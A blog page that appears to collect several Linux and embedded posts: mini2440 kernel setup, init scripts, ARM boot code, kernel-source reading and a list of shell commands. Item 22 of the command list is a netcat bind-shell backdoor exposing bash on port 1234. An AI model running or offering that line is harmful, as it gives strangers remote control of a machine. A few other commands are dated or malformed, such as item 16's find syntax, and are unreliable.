how to cross compile the kernel for ARM9 minin 2440 friendly arm mini 2440 for ubantu

In this tutorial, I'll quickly show you how easy it is to compile a kernel for the mini2440. If you haven't already installed git, you should do so now. In Ubuntu, you simply install the package git-core.


Setting up Your Toolchain

Follow the instructions from this tutorial.
http://chaitutechbits.blogspot.com/2010/12/how-build-arm9-tool-chain-mini-2440.html



Obtaining the Correct Kernel Sources

In order for you to get a kernel thats patched for all the hardware on your Mini2440, you need to get the kernel sources from the correct place. While it's possible to simply go and download a kernel directly from kernel.org and cross compile it, you won't get the patches included with that for all the hardware on the Mini2440.


Create a directory for your source tree and change to it and use git to clone the repository.

Code:

$ mkdir mini2440-kernel
$ git clone git://repo.or.cz/linux-2.6/mini2440.git
$ cd mini2440

how to cross compile the kernel for ARM9 minin 2440 friendly arm mini 2440 for ubantu

[ebook]Building Embedded Linux Systems Ebook Download

By Karim Yaghmour

Publisher: O'Reilly Media

Released : April 2003

Pages:416

 

 

[ebook]Building Embedded Linux Systems Ebook Download

STARTING LINUX DAEMONS WITH init SCRIPTS

In the world of Linux based systems, and also other Unix-like systems, a daemon is a background process that starts during the system boot and runs forever. A daemon provides some kind of service. Some of the examples of daemons are the secure shell daemon sshd, and the print spooler, cupsd, formally known as the common unix printing system daemon.
In this tutorial, we first take a overview of the Linux boot sequence. We look at the traditional System V init process, the different init levels and the system of init scripts. Then, we look at upstart, which takes a different approach to the same job. Finally, we also look at the structure of a typical init script.

STARTING LINUX DAEMONS WITH init SCRIPTS

Embedded Linux Boot- Code Walkthrough

Embedded Linux on Arm:
———————————-
We will walk through boot up code  for AT91RM9200 system-on-chip, built around the ARM920T ARM Thumb processor. Kwickbyte builds an embedded board called kb9202 based on AT91RM9200.
Before you start reading this you need to read AT91RM9200 data sheet (specification). You can download the data sheet with the following link.
www.keil.com/dd/docs/datashts/atmel/at91rm9200_ds.pdf
You also need to read ARM Architecture Reference Manual for better understanding the boot process. You can download it with the following link.
http://www.lysator.liu.se/~kjell-e/embedded/ARM-ARM.pdf

Embedded Linux Boot- Code Walkthrough

what is the Benefits of browsing the Linux source code ?? how to open linux kernel

Going through the Linux source code is like picking the technical nuances of Linux first hand. Without an iota of doubt Linux within it has all the concepts and skills that a system programmer needs, I figured this out the hard way. Programming excellence can be achieved through ripping the source apart and diagnosing it. Let me list you some direct benefits ushered by source code reading

First hand information

You can read from books, get information from the Internet or by other means but nothing like knowing it first hand by exploring the Linux source code. This rich treasure of GNU/C code has got everything that you are looking for. This information leaves absolutely no space for any doubts as this is the final original source of information and there are zero alternates to this. As you comprehend these pieces of code it’s like going through the minds of the people who have actually written it. And this experience and the kind of learning involved will never be found anywhere.

Improve your conceptual clarity

As you follow the flow of the code, the concepts get unfolded and the maze starts to show you the way. Personally I go through this process whenever I’m tied in two minds on a particular OS concept. It cuts down the need for looking for other sources; however this needs some real experience. If you do this exercise regularly then I’m sure cracking or understanding any technical concept, even though it is not related to an OS becomes a piece of cake for you

Efficient code writing style and skill

Just look and appreciate the style and standards followed by this open source marvel that has stood the time and taken the brunt of real time performance and emerged as the best open project ever. The coding standards are so defined and stable that all these varied pieces of code contributions from all over the world has never brought this thing down. So one thing that you undoubtedly get is the skill to code like a top class pro.

Rock solid confidence

This requires serious mention, when I first started off with the initial versions of the Linux kernel the best thing that I got was a truck load of confidence. This single benefit was the sole reason for all my success as a programmer and as a trainer. Lack of confidence can even hinder the growth of a technically sound individual. So get that confidence right now with some useful source code reading

Increased adaptability to change

If you digest the design and frameworks on which these operating systems are build and if you go back to the previous versions of Linux and track down the progression you will no doubt heighten your clarity and grip on the subject. You will also become most adaptable to future changes and you can even predict technological changes, which may often become real. So this skill will equip you with the flexibility and adaptability to changes

Final word

I for sure know that this is a small list of benefits that source code browsing can bring to you. If you have done this before then I request you to add on to this list of benefit through your valuable feedback

credits goes to Raghu Bhardwj 

what is the Benefits of browsing the Linux source code ?? how to open linux kernel

TOP 25 LINUX Commands

TOP 25 LINUX Commands

1.Search for all files modified in the last N days containing a specific text in their name

find DIR -mtime -N -name "*TEXT*"

2.Twitter update from terminal

curl -u YourUsername:YourPassword -d status="Your status message go here" http://twitter.com/statuses/update.xml

3.Determine which processes use the most memory

ps aux | sort -nk 4 | tail

or

ps aux | sort -nk 4 | head

4.Find removed (deleted) files still in use via /proc:

find -L /proc/*/fd -links 0 2>/dev/null

5.Display the username which is currently logged in

whoami

6.Check if network cable is plugged in and working correctly:

mii-tool eth0

7.Show date using format modifiers

date +"%H:%M:%S"

8. Migrate existing Ext3 filesystems to Ext4:

tune2fs -O extents,uninit_bg,dir_index /dev/yourpartition

9.Show info about a specific user:

finger $USER

10.On-the-fly unrar movie in .rar archive and play it, does also work on part archives:

unrar p -inul foo.rar|mplayer -

11.Show disk usage separately for each partition

df -h

df -B 1K

12.List programs with open ports and connections:

netstat -ntauple

or

netstat -lnp

13.Show which modules are loaded

lsmod

14.Using ruby, search for the string “search” and replace it with the string “replace”, on all files with the extension php in the curret folder. Do also a backup of each file with the extension “bkp”:

ruby -i.bkp -pe "gsub(/search/, 'replace')" *.php

15.Add or remove a module to/from the Linux kernel
Insert a module:

modprobe MODULE

Remove a module:

modprobe -r MODULE

16.Find files larger than 1 GB, everywhere

find / -type -f -size +1000000000c

17. All the startup services, and sort alphabetically

sudo chkconfig --list | sort | less

18.Search for a file using locate

locate FILENAME

19.Kill a process that is locking a file:

fuser -k filename

20.Change the encoding of a text file:

iconv -f INITIAL_ENCODING -t DESIRED_ENCODING filename

21.Manually pause/unpause an application (process) with POSIX-Signals, for instance Firefox:

killall -STOP -m firefox

22.Create a backdoor on a machine to allow remote connection to bash:

nc -vv -l -p 1234 -e /bin/bash

23.Launch a listener on the machine :

nc 192.168.0.1 1234

24.Print file name of terminal on standard input:

tty

25.Strip directory and suffix from filenames:

basename NAME

TOP 25 LINUX Commands

Linux basic commands

Linux basic commands





cal    :  Command to see calender for any specific month or a complete year


date   :  displays the current date


echo   :  Print message on the terminal


bc     :  A text based calculator


xcalc  :  is graphical based calculator


passwd :  allows you to change your password


who    :  tells you the users currently logged on to system


man    :  displays the documentation for a command


chmod  :  Changing the permissions of the file


chown  :  command is used for changing the ownership and group of a file


rm     :  used to delete files


mkdir  :  used to create directory


rmdir  :  used to remove directory


cp     :  copy the files


mv     :  moving files its like a cut command


cat    :  used to display content of a small file


tac    :  used to display content of a file in reverse manner


wc     :  used to count words in a file


cmp    :  used to compare files


comm   :  it displays the common between to files


gzip   :  used to compress the file


gunzip :  used to uncompress the file


tar    :  used to create archive


zip    :  used to archiving as well as compressing


head   :  displays the top of the file


tail   :  displays bottom of the file


sort   :  ordering a file


grep   :  search for a pattern

Linux basic commands

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